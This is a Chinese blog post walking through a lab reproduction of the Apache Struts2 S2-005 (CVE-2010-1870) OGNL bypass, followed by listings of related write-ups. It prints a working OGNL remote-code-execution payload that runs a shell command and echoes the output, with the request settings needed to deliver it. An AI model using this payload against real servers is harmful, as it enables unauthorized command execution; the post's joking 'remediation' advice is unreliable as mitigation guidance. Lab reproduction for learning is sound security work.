[漏洞复现]Apache Struts2/S2-005（CVE-2010-1870）

原创 已于 2024-01-17 13:15:45 修改 · 964 阅读 · 8 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#python #开发语言 #web安全 #安全

于 2024-01-12 20:04:45 首次发布
本文详细描述了Struts2中的S2-003漏洞，涉及OGNL表达式绕过安全限制，复现过程包括使用payload和特定HTTP请求。作者还给出了关闭靶场并加强安全防范的建议。
部署运行你感兴趣的模型镜像

一、漏洞情况分析

struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开

二、漏洞复现

春秋云境.com

进入靶场

开始复现

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cat /flag'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

上面是我的payload ，要进行url编码放到请求包的消息体中

第一复现失败了，注意要改成POST请求同时在请求头中加入：

Content-Type: application/x-www-form-urlencoded

三、漏洞处置建议 

把靶场关了，跟漏洞说“白白”

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型，相比 3.0 版本，它提升了图像质量、运行速度和硬件效率

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 （CVE-2010-1870）
qq_51577576的博客
10-14 1495
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 （CVE-2010-1870） s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391）
qq_51577576的博客
10-15 1637
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391） S2-008 涉及多个漏洞，主要利用对传入参数没有严格限制，导致多个地方可以执行恶意代码。 第一种情况其实就是 S2-007，在异常处理时的OGNL 执行第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie 的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋第三种需要开启devModedebug 模式。
struts2框架漏洞复现
Bird&Bird
01-07 7162
目录1、S2-001远程代码执行漏洞（CVE-2007-4556）漏洞简介影响范围漏洞复现S2-005 远程代码执行漏洞（CVE-2010-1870）漏洞简介影响版本绕过过程漏洞复现 1、S2-001远程代码执行漏洞（CVE-2007-4556） 漏洞简介 当用户提交表单数据并验证失败时，后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析，然后重新填充到对应的表单数据中。 影响范围 Struts 2.0.0 - 2.0.8 漏洞复现 输入%{1+1},返回2就是存在该漏洞。 获取
Struts 2.0.0 至 2.1.8.1 远程命令执行漏洞（CVE-2010-1870）
Flag少侠的博客
07-11 9301
打开靶场靶场页面有一个选择语言的功能打开 BurpSuite 开启数据包拦截抓包修改请求体为 POST，并构造恶意的 payload分步解析开头的会告诉Struts2框架将用户重定向到构造的URL。但在这里我们主要利用它的表达式注入能力。${...}${...}表示一个OGNL表达式，Struts2会解释和执行这个表达式。#req这部分获取当前的HTTP请求对象。使用字符串拼接来绕过某些安全过滤器。#s这里我们使用来执行系统命令。在这个例子中，执行的命令是。读取命令输出。#str。
struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
weixin_33861800的博客
06-29 354
catalog 1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix   1. Description struts2漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为...
S2-005远程代码执行(CVE-2010-1870)
m0_65150886的博客
01-15 666
虽然从Struts 1到Struts 2有着太大的变化，但是相对于WebWork，Struts 2的变化很小。OGNL表达式通过#来访问struts的对象，Struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上。
Struts2_005_RCE CVE-2010-1870漏洞复现
ADummy的博客
02-18 2825
Struts2_005_远程代码执行 by ADummy 0x00利用路线 ​ 直接url执行payload，由于浏览器url输入框的长度有限，可以使用Hackbar插件，或burpsuite抓包测试。无回显。 0x01漏洞介绍 ​ S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号，S2-003对#号进行过滤，但是没有考虑到unicode编码情况，导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置（禁止静态方法
S2-005-RCE(CVE-2010-1870)--vulhub
ccc_9wy的博客
12-28 271
struts2漏洞复现；S-005；RCE漏洞；CVE-2010-1870；OGNL表达式。
[旧文系列] Struts2历史高危漏洞系列-part5：S2-052/S2-053/S2-057
mole_exp的博客
01-18 970
文章目录关于<旧文系列>前言S2-052漏洞复现与分析可回显PoC漏洞修复S2-053漏洞复现与分析可回显PoC漏洞修复S2-057漏洞复现与分析可回显PoC漏洞修复Reference 关于<旧文系列> <旧文系列>系列是笔者将以前发到其他地方的技术文章，挑选其中一些值得保留的，迁移到当前博客来。 文章首发于奇安信攻防社区: https://forum.butian.net/share/601 https://forum.butian.net/share/602 htt
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805）
qq_51577576的博客
12-15 1986
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805） Apache Struts2的REST插件存在远程代码执行的高危漏洞，其编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009
mole_exp的博客
01-18 2418
文章目录关于<旧文系列>前言S2-007漏洞复现与分析可回显PoC漏洞修复S2-008漏洞复现与分析Vuln-1：Remote command execution in CookieInterceptorVuln-2：Remote command execution in DebuggingInterceptorVuln-2：可回显PoC漏洞修复S2-009漏洞复现与分析可回显PoC漏洞修复Reference 关于<旧文系列> <旧文系列>系列是笔者将以前发到其他地方的技
Apache Struts2 S2-005 远程代码执行漏洞
m0_63241485的博客
08-20 1817
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：user.address.city=Bishkek&user[‘favoriteDrink’]=kumys//会被转化成触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：S2-003 使用\u0023绕过s2对#的防御S2-003 后官方增加了安全模式（沙盒）
春秋云镜 CVE-2010-1870/CVE-2013-1965
qq_22002773的博客
09-18 1412
春秋云镜 CVE-2010-1870/CVE-2013-1965
java struts2 漏洞复现合集
whatday的专栏
08-31 9523
目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架，会对某些标签属性（比如 i
struts S2-005 远程代码执行漏洞
haha1314的博客
07-15 2403
S2-005 远程代码执行漏洞 影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html 原理 参考吴翰清的《白帽子讲Web安全》一书。 s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OG...
墨者Apache Struts2远程代码执行漏洞(S2-005)复现题解
zr1213159840的博客
01-12 611
这题本来想自己手动来解决，不使用工具，奈何网上找的poc都没法用，然后我就想用工具然后wireshark抓包后重放不就行了，结果还是失败了，如果有哪位同学弄好了，希望能评论下，poc该如何使。 使用了wiresharke抓包后能看到红色中间部分的post数据包，但是放到bp中又不行，待我后面来研究下。 直接上工具： 直接拿到key了。 工具可以在这里下载： http://k8gege.org/p/ab3e87f7.html 不保证安全性，虽然我自己用了。 ...
[Vulfocus解题系列] Struts2-052远程代码执行漏洞（CVE-2017-9805）
00勇士王子的博客
07-14 2546
漏洞介绍 名称: struts2-052 远程代码执行 （CVE-2017-9805） 描述: Apache Struts是美国阿帕奇（Apache）软件基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。REST plugin是其中的一个处理传入URL请求的插件。 攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严
Struts 2命令执行漏洞
a65783305的博客
06-29 295
2010年7月9日，安全研究者公布了Struts 2一个远程执行代码的漏洞（CVE-2010-1870），严格来说，这其实是XWork的漏洞，因为Struts 2的核心使用的是WebWork，而WebWork又是使用XWork来处理action的。 这个漏洞的细节描述公布在exploit-db 上。 在这里简单摘述如下： XWork通过getters/setters...
Struts2漏洞S2-005复现笔记
hklearner的博客
03-30 3229
Struts2漏洞S2-001复现笔记 漏洞原理 s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻
Struts2 漏洞（S2-045/CVE-2017-5638）复现
最新发布
10-31
</think>### Struts2 漏洞复现（S2-045/CVE-2017-5638） 根据引用内容和漏洞复现最佳实践，步骤如下： #### 一、漏洞原理 该漏洞源于Jakarta文件上传插件的异常处理机制。当攻击者**恶意构造`Content-Type`请求头**...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值